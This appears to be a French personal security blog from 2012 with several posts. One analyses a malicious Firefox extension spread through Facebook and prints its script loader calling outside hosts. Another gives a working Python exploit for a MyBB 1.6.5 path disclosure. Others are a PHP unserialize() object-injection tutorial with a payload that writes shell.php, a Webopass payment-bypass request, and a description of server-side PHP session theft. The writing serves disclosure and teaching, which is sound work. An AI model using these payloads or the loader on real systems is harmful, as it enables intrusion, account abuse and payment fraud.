Un ver facebook dans un module firefox

EDIT 18/01/2012 – 12h57 : Visiblement l’auteur du bouzin a modifié le truc, je regarde ça et j’édite l’article :)

Je traînais sur facebook jusqu’à ce que je tombe sur une page à boulet : Les 5 trucs que font toutes les filles avant de retrouver leur mec … Et là, à ma grande surprise, la page me redirige vers un site! Probablement grâce à un morceau de code javascript, mais je vais vous laisser enquêter sur ça :)

Bref, je me retrouve donc sur une page qui a tout l’air d’une page de phishing. On remarque immédiatement que le but de la page est de faire télécharger une extension à l’utilisateur. Le cadre avec la vidéo youtube-like est en fait un iframe pointant vers http://lesfrancais.info/creme.php. En explorant le code source de cette page, on trouve le lien vers l’extension Firefox que le site veut nous faire télécharger.

A partir de ce moment là, je me retrouve avec une extension firefox en .xpi dont je ne sais que faire. Je décide donc de regarder ce que me renvois la commande file.


$ file trucs.xpi
trucs.xpi: Zip archive data, at least v2.0 to extract

Ôh magie, un fichier ZIP! Je m’empresse de le dé-zipper. Et voici ce que je découvre :


$ ls -ls
total 72
8 -rw-r--r--@ 1 tlk  staff    173 22 déc 23:09 chrome.manifest
8 -rw-r--r--@ 1 tlk  staff    149  6 déc 18:56 chrome.txt
0 drwxr-xr-x  8 tlk  staff    272  1 jan 20:45 content
8 -rw-r--r--@ 1 tlk  staff    924  3 jan 00:38 install.rdf
8 -rw-r--r--@ 1 tlk  staff   1231  3 jan 00:38 install.txt

Je regarde vite fait ce que contiennent les fichiers install.rdf, install.txt, chrome.manifest et chrome.txt. Mais rien de bien cool, sauf peut être un site internet, mais qui visiblement ne correspond à rien (un whois qui indique une personne n’habitant pas en france, même chose pour les autres domaines que l’on va rencontrer)

Le dossier content contient plusieurs fichiers javascript dont je ne sait pas à quoi ils peuvent correspondre. Le seul fichier qui me paraît intéressant se nomme youtube.js


loadScript_you();
function loadScript_you() {
if ('https:' == document.location.protocol) return false;
var s = document.createElement('script');
s.setAttribute("type","text/javascript");
s.setAttribute("src", "http://les-francais.info/g.js");
var head=document.getElementsByTagName("head")[0];
if( head==null) return false;
head.appendChild(s);
return true;
}

Le code javascript ajoute une balise script dans la balise head de la page. Ce qui va charger un nouveau code javascript.

<pre>function addScript() {
        var s = document.createElement('script');
        s.setAttribute("type", "text/javascript");
        s.setAttribute("src", "http://buzz-france.info/w.js");
        var a = document.getElementsByTagName('script')[0];
        if (a == null) return false;
        a.appendChild(s);
        return true
}
addScript();
var installed = 1;</pre>

On regarde le nouveau code javascript qui est chargé dans le navigateur… Et là, on rigole. Voici en gros ce que réalise ce script : il vous fait liker une de ces 5 pages :

(Les deux derniers liens permettent de voir que la personne n’en est pas à son coup d’essai ;) )

Le script va aussi marquer certains de vos amis sur des photos, changer votre statut et d’autres choses qui ont pour but de faire télécharger au plus de personne possible l’extension firefox.

Autre chose assez fun : l’auteur a pensé à mettre un compteur pour voir le nombre de personne qui sont actuellement sur facebook et qui ont l’extension activée. A l’heure où je publie l’article, le compteur est à environ 800, hier soir il était à plus de 3000 ;)

En bref, un module firefox est un véritable point d’entré sur le navigateur d’un utilisateur. On peut enregistrer tout ce que l’utilisateur va valider comme formulaire, voir sur quels sites il va se balader, etc … Un véritable petit rootkit pour navigateur.

EDIT DU 18/01/2012 – 13h01 :

Le téléchargement de l’extension se fait maintenant depuis cette adresse.

Le premier fichier a changé d’adresse, ainsi que le second : premier fichier, second fichier.

Les différentes pages que l’utilisateur va partager par différents moyens :

L’adresse du compteur a aussi changé : compteur. Visiblement, l’auteur n’a toujours pas compris qu’il pouvait faire des choses bien plus dévastatrices. (et tant mieux!)

MyBB 1.6.5 – Full Path Disclosure

Pour bien commencer l’année 2012, voici une full path disclosure dans la lignée de mon dernier article.

Dans la dernière version de MyBB (1.6.5), index.php ligne 323 :


if($mybb->user['uid'] == 0)
{
// Build a forum cache.
$query = $db->query("
SELECT *
FROM ".TABLE_PREFIX."forums
WHERE active != 0
ORDER BY pid, disporder
");

$forumsread = unserialize($mybb->cookies['mybb']['forumread']);
}

Les cookies n’étant absolument pas filtré, il suffit de mettre dans le cookie “mybb[forumread]” (déduit après analyse du code) une instance de classe serializé qui existe ou non dans le code. Nous récupérerons alors une fatal error car la variable $forumsread est utilisé plus bas comme un tableau.

Exploit en Python :

#!/usr/bin/env python
# encoding: utf-8
"""
MyBB 1.6.5 Full Path Disclosure
http://tlking.wordpress.com/
"""

import httplib
import sys

if __name__ == "__main__":
	
    if len(sys.argv) != 3:
        print("Usage :")
        print("\t{0} host path".format(sys.argv[0]))
        print("Exemple :")
        print("\t{0} \"demo.forum-software.org:80\" \"/mybb/\"".format(sys.argv[0]))
        sys.exit(0)
		
    host = sys.argv[1]
    path = sys.argv[2]
	
    print("Launch attack on : http://{0}{1}/index.php".format(host,path))
	
    path += "/index.php"
    headers = {"Cookie":"mybb[forumread]=O%3A10%3A%22TlkMyBBFPD%22%3A0%3A%7B%7D;"}
	
    connexion = httplib.HTTPConnection(host)
    connexion.request("GET",path, "", headers)
    reponse = connexion.getresponse()
    data = reponse.read()
	
    if data.count("Fatal error") > 0:
        print("\nIt's work :")
        print(data)
    else:
        print("Don't work... Want to see the result anyway ? (1/0)")
        question = input()
        if question == 1:
            print(data)

La faille unserialize() de PHP

Pour bien comprendre cet article il est nécessaire d’avoir des bases en Programmation Orientée Objet PHP. Cela dit, c’est aussi compréhensible par le commun des mortels…

La première chose à savoir, c’est le fonctionnement du couple de fonction serialize() et unserialize(). Ces fonctions garderons le type et la structure de la variable donnée en paramètre. Ces deux fonctions peuvent donc aussi bien être utilisé sur des tableaux (array) que sur des instances d’objet.

$bool = true;
$string = "true";

class TlkClass {
private $foo = "bar";
private $bool = false;
}

$objet = new TlkClass();

echo serialize($bool)."\n";
echo serialize($string)."\n";
echo serialize($objet)."\n";

Ce script vas donc renvoyer :

b:1;
s:4:"true";
O:8:"TlkClass":2:{s:13:"TlkClassfoo";s:3:"bar";s:14:"TlkClassbool";b:0;}

Ce qui va nous intéresser c’est surtout les objets linéarisé, cependant, comme serialize() vas garder le type de la variable, un bypass authentification pourra être envisageable dans certains cas un peut (beaucoup?) foireux (rencontré dans un hackit). Je donnerais un exemple plus bas.

Il faut aussi savoir que lorsque un objet linéarisé passe dans la fonction unserialize() la méthode magique __wakeup() sera appelée par PHP. (lorsque un objet est linéarisé c’est la méthode magique __sleep() qui est appelée, mais dans notre cas nous en auront très rarement besoin). L’autre méthode magique à connaître est la méthode __destruct() qui elle est appelée lorsque l’objet est détruit (donc à la fin du script ou lors de l’utilisation d’unset()).

Imaginons maintenant que le développeur a laissé dans son code une variable qui peut être contrôlé par l’utilisateur et qui est passé dans la fonction unserialize(). Que l’attaquant possède le code (comme il est possible avec les CMS) et que le script utilise une classe ayant une méthode __wakeup() ou __destruct() écrivant des fichiers, en incluant… (tout autre type de faille est possible : SQL Injection, ….) L’attaquant pourra sans aucun problème exploiter la faille.

Exemple


class CacheClass {

private $fileName;
private $contenu = "default";

public function __construct()
{
$this->fileName = md5(rand()).".cache";
}

public function getContenu()
{
return $this->contenu;
}

public function setContenu($contenu)
{
$this->contenu = $contenu;
}

public function __destruct()
{
$file = fopen("./cacheDir/".$this->fileName,"w+");
fwrite($file,$this->contenu);
fclose($file);
}
}

$user = unserialize(base64_decode($_GET['user']));

if($user['password'] == "Le Password Impossible à Trouver!") {
phpinfo();
}

Nous avons deux but sur cet exemple, afficher le phpinfo() et uploader notre propre fichier php.

Afficher le phpinfo

Comme la fonction serialize() garde le type de la variable, il va être facile d’afficher le phpinfo en mettant comme valeur pour l’index ‘password’ un booléen “True”. Pour cela rien de plus simple :


$var = array('password' => true);
var_dump(base64_encode(serialize($var)));

Ainsi, il suffira de donner la valeur affiché à notre variable get user pour appeler la fonction phpinfo().

Uploader notre propre fichier

Le principe est exactement le même, sauf que cette fois ci nous allons passer en paramètre une instance linéarisé de la classe CacheClass.


class CacheClass {
private $fileName = 'shell.php';
private $contenu = '<?php phpinfo();';
}

$var = array(
'password' => false,
'object' => new CacheClass(),
);

var_dump(base64_encode(serialize($var)));

Ici, nous somme obligé de donner un Array avec un index ‘password’ car sinon, le script php plante (il affiche une erreur disant : “Fatal Error: Cannot use object of type CacheClass as array”) et la méthode __destruct() n’est pas appelée.

De la même manière, il suffit d’affecter la valeur renvoyé par notre script à notre variable get ‘user’ et le tour est joué! Un fichier nommé shell.php contenant notre code malicieux est créé.

Et comme à chaque article, je suis ouvert à toute critique ! (approbations, insultes, fautes d’orthographe…)

N’hésitez surtout pas à me suivre sur mon Twitter!

Webopass ? Bypass.

J’étais entrain de chercher dans la documentation de Webopass pour savoir comment leur API fonctionne et donc comment réaliser un système de validation du code sans passer par leur formulaire. Je vais donc sur le wiki puis sur la page Intégration en PHP.

Et là… C’est le drame. On rencontre un script php qui à première vu a l’air de fonctionner sans aucun soucis, mais en réalité si le codeur intègre ce code à son site, le client pourra s’il le veut, payer gratuitement! Voici le code en question :

<?php
$code = "abc";

$test = @file("http://payer.webopass.fr/valider_code.php?cc=XXXX&amp;document=YYYY&amp;requete=1&amp;code=$code");
$test[0] = trim($test[0]);

if($test[0] == "OUI") echo "Le code est valide";
elseif($test[0] == "NON") echo "Le code est invalide";

Bon, évidemment on remplace le $code = “abc”; par quelque chose dans ce genre : $code = $_GET['code'];.

Si le client malveillant a un compte webopass (compte que tout le monde peut créer gratuitement !), que sur ce compte se trouve un document payant et que le code de test est configuré, le client aura la possibilité d’accéder au document payant gratuitement. Il lui suffira d’envoyer une requête dans ce genre : acces.php?code=codeDeTest%26cc=idDuCompteClient%26document=idDuDocumentPayant

Voir un exemple

Encore une fois, je suis ouvert à toute critique ! (approbations, insultes, fautes d’orthographe…)

Vols de sessions PHP côté serveur

On parle souvent de vols de sessions PHP lorsque on aborde une XSS, j’appellerais ça le vol de sessions côté client. Mais on parle beaucoup moins du vols de sessions PHP côté serveur. Expliquons ça.

Sessions PHP ?

Pour commencer il est nécessaire de savoir où et comment sont stocké ces fameuses sessions par PHP. Comme vous devez déjà le savoir, les sessions sont accessible dans le code sous forme d’un tableau associatif nommé $_SESSION (vous pouvez essayer de faire un var_dump() sur cette variable, vous comprendrez ;) ).

Pour sauvegarder les sessions, PHP va serializer le tableau associatif $_SESSION puis l’enregistrer dans un fichier. La plus part du temps (tel que le décrit la configuration de base de PHP), ce fichier sera placé dans /tmp sous le nom sess_{PHPSESSID}. C’est à cet endroit là qu’intervient le fameux PHPSESSID. Le PHPSESSID est l’identifiant unique donné à un utilisateur du site lorsque la fonction session_start() est appelée. Cet identifiant est stocké, la plus part du temps, dans un cookie nommé PHPSESSID (si si, celui que l’on récupère lors d’un vol de session côté client !).

Lors du chargement d’une nouvelle page, PHP va récupérer la valeur de ce PHPSESSID, ouvrir le fichier /tmp/sess_{PHPSESSID}, passer un coup de unserialize sur le bouzin et enfin va assigner la valeur à la variable $_SESSION.

Il est où le fuck ?

Bon déjà, avec ces explications on comprend mieux le pourquoi du comment du vol de session côté client.

Maintenant, côté serveur, c’est extrêmement simple. Imaginons le serveur d’un hébergement mutualisé, un serveur qui donc héberge plusieurs sites en même temps, sur lequel nous avons accès en lecture et/ou écriture à tous les fichiers de la forme /tmp/sess_*. Vous comprenez mieux ce que je veux dire ?

Tout le monde pourra créer, modifier les sessions de votre site. On imagine assez facilement un script qui va chercher dans ces fichiers si par hasard l’un d’eux contient une session d’un administrateur connecté au backend. Il lui suffirait de récupérer la valeur du fichier de session, de créer sa propre session, admettons /tmp/sess_tlking puis de créer le cookie nommé PHPSESSID et ayant pour valeur tlking. On se retrouverait alors connecté au backend du site. D’où le vol de session côté serveur et non client ;)

On peut aussi imaginer des injections SQL depuis les sessions. Bien souvent, on ne se soucis de passer un petit mysql_real_escape_string par dessus un $_SESSION['id'], ce qui à première vu paraît tout à fait normal !

Sécuriser le bouzin ?

Bien bonne question… J’ai déjà cherché plusieurs solutions à ce problème. Elles existent forcement puisque j’en ai déjà vu en application. Mais où configurer cela, comment le faire, … Je n’ai malheureusement pas trouvé.

Ainsi, si quelqu’un sait comment corriger ce problème, qu’il se manifeste dans les commentaires, j’éditerai de suite l’article en expliquant la solution !

Je suis aussi ouvert à toute critique pour ce premier article, s’il vous a paru intéressant ou non, s’il est bourré de faute d’orthographe, tout ça tout ça :)

Ouverture !

Salut la compagnie !

Je me suis enfin décidé à ouvrir mon blog ! Pas envie de me faire chier à gérer un hébergement tout ça tout ça, donc j’ai créer un compte sur le truc de WordPress. C’est plutôt bien foutu d’ailleurs!

Sur ce blog j’aborderais principalement la sécurité informatique, surtout ce qui touche au web. Ça me m’empêchera pas de vous parler musique ou bien de tas d’autres choses!

En espérant que ce que je vais raconter va vous intéresser :D